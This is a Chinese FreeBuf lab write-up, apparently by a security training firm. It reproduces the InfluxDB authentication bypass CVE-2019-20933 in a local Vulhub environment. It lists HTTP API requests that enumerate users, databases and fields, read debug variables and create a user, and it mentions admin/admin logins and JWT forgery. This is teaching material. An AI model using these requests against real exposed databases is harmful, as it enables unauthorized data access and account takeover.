freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

记录一次时序数据库的实战测试
蚁景科技 2023-10-26 16:07:13 121355

0x1.背景

在某次Edusrc挖掘过程中,我发现了一个404状态码的ip站如下图所示:

1

我的直觉告诉我,这个站不太简单。于是我信息搜集了一下端口为8086的常见服务:

2

当我看到这个InfluxDB的时候,我灵感突然来了,虽然我当时不知道是什么,我尝试着进行抓包看看返回包,但是多尝试一下没想到这个站点还真的是InfluxDB服务!

3

后续利用我先不讲,我们先好好讲一下InfluxDB是一个怎么样的数据库。

0x3.InfluxDB介绍

InfluxDB是一个由InfluxData开发的开源时序型数据库。它由Go写成,着力于高性能地查询与存储时序型数据。InfluxDB被广泛应用于存储系统的监控数据,IoT行业的实时数据等场景。

在了解了InfluxDB的基本概念之后我们得先了解一下什么是时序性数据库。

为了方便理解我将时序性数据库与大家常用的关系型数据库进行一个以表格的形式进行对比展示:

01.png

然后我也整理了一下MySQL与InfluxDB概念差异和相关概念扩展用一个表格来进行对比展示:

02.png


然后这里整理了一些常见的 InfluxQL Http Api的语句:

GET /query?q=SHOW USERS #查看当前所有的数据库用户
GET /query?q=SHOW DATABASES #查看所有数据库
GET /query?q=SHOW MEASUREMENTS&db=某个db的名称 #查询数据库中所含的表
GET /query?q=SHOW FIELD KEYS&db=某个db的名称 # 查看当前数据库所有表的字段
GET /query?q=show series&db=某个db的名称 # 查看series
GET /debug/vars #debug敏感泄露
POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX' # 这一点需要伪造jwt

0x3.本地漏洞复现

实战的利用过程就不放上来了,放上来也是厚码还不如直接本地复现讲的更清楚。

使用Vulhub在本地虚拟机上搭建:

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

没有搭建过vulhub靶场可以参考官方文档:https://vulhub.org/#/docs/install-docker/

搭建好后我们直接使用如下命令:

cd /vulhub/influxdb/CVE-2019-20933
docker-compose up -d

开放在默认的8086端口,环境启动后,访问xxx:8086即可开始复现:

15

虽然是404,但是抓包回显发现是influxdb服务

16

17

我简单尝试之后发现是弱口令admin/admin。如果发现弱口令不可以的话,可以伪造jwt我就不多赘述了。

然后我们来进行测试:

debug敏感泄露

GET /debug/vars

18

查看当前所有的数据库用户

GET /query?q=SHOW USERS

19

查看所有数据库

GET /query?q=SHOW DATABASES

20

查询数据库中所含的表

GET /query?q=SHOW MEASUREMENTS&db=某个db的名称

21

查看当前数据库所有表的字段

GET /query?q=SHOW FIELD KEYS&db=某个db的名称

22

查看series

GET /query?q=show series&db=某个db的名称

23

任意用户写

POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX'

24

GET /query?q=SHOW USERS

再来查看一下:

25

最后别忘了关闭容器:

docker stop cve-2019-20933_web_1

0x5.总结

这篇主要是分享一下经验,也就是说不一定状态码是404的站点就一定不能利用。我相信阅读完此篇然后去复现一下,你对InfluxDB的利用肯定有不一样的理解~

# 渗透测试 # 漏洞利用 # 漏洞复现
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 906 文章数
  • 671 关注者
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18
ApoorvCTF Rust语言逆向实战
2025-03-07